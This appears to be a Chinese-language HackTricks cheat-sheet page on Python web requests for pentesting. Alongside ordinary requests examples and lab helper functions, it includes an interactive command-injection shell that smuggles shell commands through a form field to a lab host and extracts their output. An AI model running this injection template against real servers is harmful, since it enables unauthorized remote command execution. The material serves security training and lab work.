# Web Requests
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{% embed url="" %}
## Python请求
```python
import requests
url = "http://example.com:80/some/path.php"
params = {"p1":"value1", "p2":"value2"}
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
#Regular Get requests sending parameters (params)
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)
code = gr.status_code
ret_headers = gr.headers
body_byte = gr.content
body_text = gr.text
ret_cookies = gr.cookies
is_redirect = gr.is_redirect
is_permanent_redirect = gr.is_permanent_redirect
float_seconds = gr.elapsed.total_seconds() 10.231
#Regular Post requests sending parameters (data)
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
#Json Post requests sending parameters(json)
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
#Post request sending a file(files) and extra values
filedict = {"" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
pr = requests.post(url, data={"submit": "submit"}, files=filedict)
#Useful for presenting results in boolean/time based injections
print(f"\rflag: {flag}{char}", end="")
##### Example Functions
target = "http://10.10.10.10:8000"
proxies = {}
s = requests.Session()
def register(username, password):
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
return resp
def login(username, password):
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
return resp
def get_info(name):
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
guid = re.match('' + name + '', resp.text)[1]
return guid
def upload(guid, filename, data):
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
return guid
def json_search(guid, search_string):
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
return resp.json()
def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```
## 利用 Python 命令执行远程代码攻击
```python
import requests
import re
from cmd import Cmd
class Terminal(Cmd):
prompt = "Inject => "
def default(self, args):
output = RunCmd(args)
print(output)
def RunCmd(cmd):
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
r = requests.post('http://10.10.10.127/select', data=data)
page = r.text
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
if m:
return m.group(1)
else:
return 1
term = Terminal()
term.cmdloop()
```
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可轻松构建和**自动化工作流**，利用世界上**最先进**的社区工具。\
立即获取访问权限：
{% embed url="" %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
支持HackTricks的其他方式：
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
---
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